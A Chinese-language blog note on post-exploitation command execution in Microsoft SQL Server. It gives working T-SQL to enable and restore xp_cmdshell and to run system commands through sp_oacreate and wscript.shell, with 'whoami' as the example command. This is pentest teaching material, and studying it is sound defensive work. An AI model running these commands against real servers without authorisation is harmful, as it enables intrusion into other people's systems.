【笔记】MSSQL 命令执行

0x00 前言

在渗透测试或红队行动中,一旦获取到 Microsoft SQL Server(MSSQL)的数据库访问权限,若权限足够高,攻击者可利用其内置功能实现操作系统命令执行。

0x01 前置条件

MSSQL 默认不启用命令执行功能,需满足以下条件之一:

  • 当前数据库用户具有 sysadmin (sa) 服务器角色;
  • 启用了 xp_cmdshell 扩展存储过程;
  • 具备 CONTROL SERVER 权限(SQL Server 2005+);

0x02 常见命令执行方式

xp_cmdshell(最经典)

xp_cmdshell 是 MSSQL 提供的用于执行操作系统命令的扩展存储过程。

1、启用 xp_cmdshell(需高权限)

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
图片[1] - 【笔记】MSSQL 命令执行 - 极核GetShell

2、命令执行

EXEC xp_cmdshell 'whoami';
OR
exec master..xp_cmdshell 'whoami';
图片[2] - 【笔记】MSSQL 命令执行 - 极核GetShell

⚠️ 若xp_cmdshell被删除可以使用以下命令恢复

exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQLServer\MSSQL\Binn\xplog70.dll'

sp_oacreate

在执行命令或写入文件时都需要用到 sp_oacreate,这主要是用来创建OLE对象,所以需要先执行以下SQL语句来启用 “OLE Automation Procedures” 组件。

如果 xp_cmdshell 组件被删除,也可以利用OLE对象的run方法执行系统命令:主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令

exec master.dbo.sp_configure 'show advanced options', 1 
RECONFIGURE exec
master.dbo.sp_configure 'Ole Automation Procedures', 1   //1为开,0为关
RECONFIGURE
图片[3] - 【笔记】MSSQL 命令执行 - 极核GetShell

⚠️注意:此命令执行方法无回显,可以将回显内容写入TXT文件后再查看

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'whoami >C:\Users\Public\Documents\1.txt';
图片[4] - 【笔记】MSSQL 命令执行 - 极核GetShell

引用

THE END
想说的话 1  QQ & 微信交流群: 点击查看加群方式
2  本站运营不易,以真心❤️换真心💕,如果帮助到你,可以 推荐给朋友 或者 开通金贝会员 支持一下本站!
3  请不要进行任何非授权的网络攻击,如果造成任何损失均由使用者本人负责,与本站和原作者无关!
点赞73 分享
茶谈区 抢沙发

请登录后发表评论

    暂无评论内容